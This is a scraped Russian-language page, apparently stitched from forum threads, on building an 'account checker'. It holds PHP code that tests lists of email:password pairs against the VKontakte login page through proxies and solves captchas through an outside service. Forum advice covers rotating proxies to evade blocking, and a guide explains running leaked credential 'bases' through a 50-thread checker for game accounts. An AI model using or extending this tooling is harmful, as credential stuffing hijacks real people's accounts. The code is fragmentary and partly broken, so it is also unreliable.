Как сделать чекер аккаунтов

Обновлено: 06.07.2024

curl_setopt ( $ch , CURLOPT_PROXY , $proxy );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $post );
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $ch , CURLOPT_COOKIEJAR , $cfile );
curl_setopt ( $ch , CURLOPT_COOKIEFILE , $cfile );
curl_setopt ( $ch , CURLOPT_FOLLOWLOCATION , 1 );
curl_setopt ( $ch , CURLOPT_POST , 1 );
$result = curl_exec ( $ch );
curl_close ( $ch );
return $result ;
>;

помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие.

if(isset( $_POST [ 'akki-list' ]))

curl_setopt ( $ch , CURLOPT_PROXY , $proxy );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $post );
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $ch , CURLOPT_COOKIEJAR , $cfile );
curl_setopt ( $ch , CURLOPT_COOKIEFILE , $cfile );
curl_setopt ( $ch , CURLOPT_FOLLOWLOCATION , 1 );
curl_setopt ( $ch , CURLOPT_POST , 1 );
$result = curl_exec ( $ch );
curl_close ( $ch );
return $result ;
>;

foreach( explode ( "\n" , $_POST [ 'akki-list' ]) as $line )

$pos = strpos ( $line , ':' );
$email = substr ( $line , 0 , $pos );
$pos2 = strpos ( $line , ':' );
$pass = substr ( $line , $pos2 );
$pass = @ ereg_replace ( ":" , "" , $pass );

Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает. Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?

Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?

Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты.

Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?

:D

Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать. А я почти сутки сижу и в надежде на совет Ну слава богу хоть ты мне кое что посоветовал.

Ротация прокси это имеется ввиду их смена?
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?

Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.

function recognize ( $filename , $apikey , $is_verbose = true , $rtimeout = 5 , $mtimeout = 120 , $is_phrase = 0 , $is_regsense = 0 , $is_numeric = 0 , $min_len = 0 , $max_len = 0 )
<
if (! file_exists ( $filename ))
<
if ( $is_verbose ) echo "file $filename not found\n" ;
return false ;
>
$postdata = array(
'method' => 'post' ,
'key' => $apikey ,
'file' => '@' . $filename , //полный путь к файлу
'phrase' => $is_phrase ,
'regsense' => $is_regsense ,
'numeric' => $is_numeric ,
'min_len' => $min_len ,
'max_len' => $max_len ,

);
$ch = curl_init ();
curl_setopt ( $ch , CURLOPT_URL , 'http://www.antigate.com/in.php' );
curl_setopt ( $ch , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $ch , CURLOPT_TIMEOUT , 60 );
curl_setopt ( $ch , CURLOPT_POST , 1 );
curl_setopt ( $ch , CURLOPT_POSTFIELDS , $postdata );
$result = curl_exec ( $ch );
if ( curl_errno ( $ch ))
<
if ( $is_verbose ) echo "CURL returned error: " . curl_error ( $ch ). "\n" ;
return false ;
>
curl_close ( $ch );
if ( strpos ( $result , "ERROR" )!== false )
<
if ( $is_verbose ) echo "server returned error: $result \n" ;
return false ;
>
else
<
$ex = explode ( "|" , $result );
$captcha_id = $ex [ 1 ];
if ( $is_verbose ) echo "captcha sent, got captcha ID $captcha_id \n" ;
$waittime = 0 ;
if ( $is_verbose ) echo "waiting for $rtimeout seconds\n" ;
sleep ( $rtimeout );
while( true )
<
$result = file_get_contents ( 'http://antigate.com/res.php?key=' . $apikey . '&action=get&id=' . $captcha_id );
if ( strpos ( $result , 'ERROR' )!== false )
<
if ( $is_verbose ) echo "server returned error: $result \n" ;
return false ;
>
if ( $result == "CAPCHA_NOT_READY" )
<
if ( $is_verbose ) echo "captcha is not ready yet\n" ;
$waittime += $rtimeout ;
if ( $waittime > $mtimeout )
<
if ( $is_verbose ) echo "timelimit ( $mtimeout ) hit\n" ;
break;
>
if ( $is_verbose ) echo "waiting for $rtimeout seconds\n" ;
sleep ( $rtimeout );
>
else
<
$ex = explode ( '|' , $result );
if ( trim ( $ex [ 0 ])== 'OK' ) return trim ( $ex [ 1 ]);
>
>

function GetList ( $filename )<
if(! file_exists ( $filename )|| filesize ( $filename )== 0 )return - 1 ;
$handle = fopen ( $filename , 'r' );
$source = fread ( $handle , filesize ( $filename ));
fclose ( $handle );
$source = str_replace (array( "\r" , "\t" ), "" , $source );
$source = explode ( "\n" , $source );
return $source ;
>

function ToLog ( $str )
<
global $log_handle ;
fwrite ( $log_handle , $str );
echo $str ;
flush ();
>

function Login ( $login , $password )
<
$init = curl_init ();
curl_setopt ( $init , CURLOPT_URL , 'http://vkontakte.ru/login.php' );
curl_setopt ( $init , CURLOPT_POST , 1 );
curl_setopt ( $init , CURLOPT_TIMEOUT , 15 );
curl_setopt ( $init , CURLOPT_POSTFIELDS , 'op=a_login_attempt' );
curl_setopt ( $init , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $init , CURLOPT_HEADER , 1 );
curl_setopt ( $init , CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6' );
$source = curl_exec ( $init );
curl_close ( $init );
if( strstr ( $source , 'Enter code' ))<
global $use_AC , $captcha_file ;
if( $use_AC )
<
preg_match ( '|\|' , $source , $cid );
$img = fopen ( $captcha_file , "w" );
fwrite ( $img , file_get_contents ( "http://vkontakte.ru/captcha.php?s=1&sid= $cid [ 1 ] " ));
fclose ( $img );
$captcha_code = recognize ( $captcha_file , $AC_key , false );
$init = curl_init ();
curl_setopt ( $init , CURLOPT_URL , 'http://vkontakte.ru/login.php' );
curl_setopt ( $init , CURLOPT_POST , 1 );
curl_setopt ( $init , CURLOPT_TIMEOUT , 15 );
curl_setopt ( $init , CURLOPT_POSTFIELDS , "op=a_login_attempt&captcha_sid= $cid [ 1 ] &captcha_key= $captcha_code " );
curl_setopt ( $init , CURLOPT_RETURNTRANSFER , 1 );
curl_setopt ( $init , CURLOPT_HEADER , 1 );
curl_setopt ( $init , CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6' );
$source = curl_exec ( $init );
curl_close ( $init );
return array( 'captcha_block' , null );
>
else
return array( 'captcha_block' , null );
>


$log_handle = fopen ( $log_file , "a+" );
$good_handle = fopen ( $good_file , "a+" );
$bad_handle = fopen ( $bad_file , "a+" );
$accounts = GetList ( $vk_accs );
if( $accounts ==- 1 )
die( "\r\n file accounts not found or clean \r\n" );
$val_acc = ( count ( $accounts )- 1 );

for( $i = 0 ; $i $val_acc ; $i ++)
<
if( $accounts [ $i ]== '' )
continue;
list( $mail , $pass ) = explode ( $delimeter , $accounts [ $i ]);
$res = Login ( $mail , $pass );
switch( $res [ 0 ])
<
case 'captcha_block' :
if(! $use_AC ) <
ToLog ( " $mail$delimeter$pass [captcha block]\r\n" );
>
else
$i --;
break;

case 'valid' :
ToLog ( " $mail$delimeter$pass [valid!]\r\n" );
fwrite ( $good_handle , " $mail$delimeter$pass \r\n" );
break;

case 'invalid' :
ToLog ( " $mail$delimeter$pass [invalid]\r\n" );
fwrite ( $bad_handle , " $mail$delimeter$pass \r\n" );
break;

>
>
fclose ( $log_handle );
fclose ( $good_handle );
fclose ( $bad_handle );
?>

HAHo_tech неизвестен в этих краях
HAHo_tech неизвестен в этих краях
HAHo_tech неизвестен в этих краях


Популярность: -210


Сказал(а) спасибо: 12

private:
Ui :: MainWindow * ui ;
QNetworkAccessManager manager ;
QNetworkReply * reply ;
QUrl apiUrl ;
QByteArray requestString ;
QString login ;
QString passwd ;

private slots :
void on_pushButton_clicked ();
void getToken ();
void parseToken ();[/ CODE ] Теперь две самые основные функции .
[ CODE ] void MainWindow :: getToken ()
<
QRegExp rx ( "(.+);(.+)" );
rx . indexIn ( ui -> lineEdit -> text ()); //ищем логин и пароль

login = rx . cap ( 1 ); //логин
passwd = rx . cap ( 2 ); //пароль

requestString . append ( "grant_type=password" );
requestString . append ( "&client_id=YOU_API_ID" );
requestString . append ( loginstr . toLatin1 ());
requestString . append ( passwdstr . toLatin1 ());

QNetworkRequest request ( apiUrl );

reply = manager . post ( request , requestString );
connect ( reply , SIGNAL ( finished ()), this , SLOT ( parseToken ())); //при завершении ответа запускаем функцию parseToken()
>

void MainWindow :: parseToken ()
<
//Parse TOKEN

QString source ;
source . append ( QString :: fromLocal8Bit ( reply -> readAll ()));
QRegExp rx ( "([a-z0-9])" );
rx . indexIn ( source );

Здравствуйте! Решил Написать Мини Гайд О Том Как Пользоваться Чекером!
Чтобы не возникало вопросов "Куда Вставлять Базы" "Почему ошибки" и т.п.

1. Открываем чекер и идем во вкладку "Settings"
2. В поле "Default" В конце строчки "Accs" нажимаем на кнопку ". "
3. Выбираем Нашу Базу
4. В поле "Threads count" Ставим До 50
5. В поле "Source delimetr" ставим : или ; смотря какой делиметр стоит в базе (проверьте)
6. Переходим во вкладку "Checker" и нажимаем "Start"
7. В пустом поле (если в вашей базе есть акки gamenet) будут появляться аккаунты которые зарегестрированы в играх
8. "Уровень: 40" (пример) Означает какой уровень имеет аккаунт GameNet.


Чтобы Вы не задавали вопросы: "Как вы чекаете, чтобы было показано какой сервер и персонаж находятся на акке" пишу следующее.

После того как мы получили акки GameNet (Чекнутые) Идем на сайт и проверяем нужный акк!

В разделе "Мои игры" выбираем нужную игру и смотрим какие персы на акке есть!



Функция является полноценным чекером аккаунтов Вконтакте поддерживающий неограниченное количество строк. С ее помощью Вы можете получить множество данных об аккаунте, которые выводятся в окне задачи.


Также при необходимости, после чека аккаунтов, можно выбрать аккаунты по любым доступным параметрам.

Читайте также: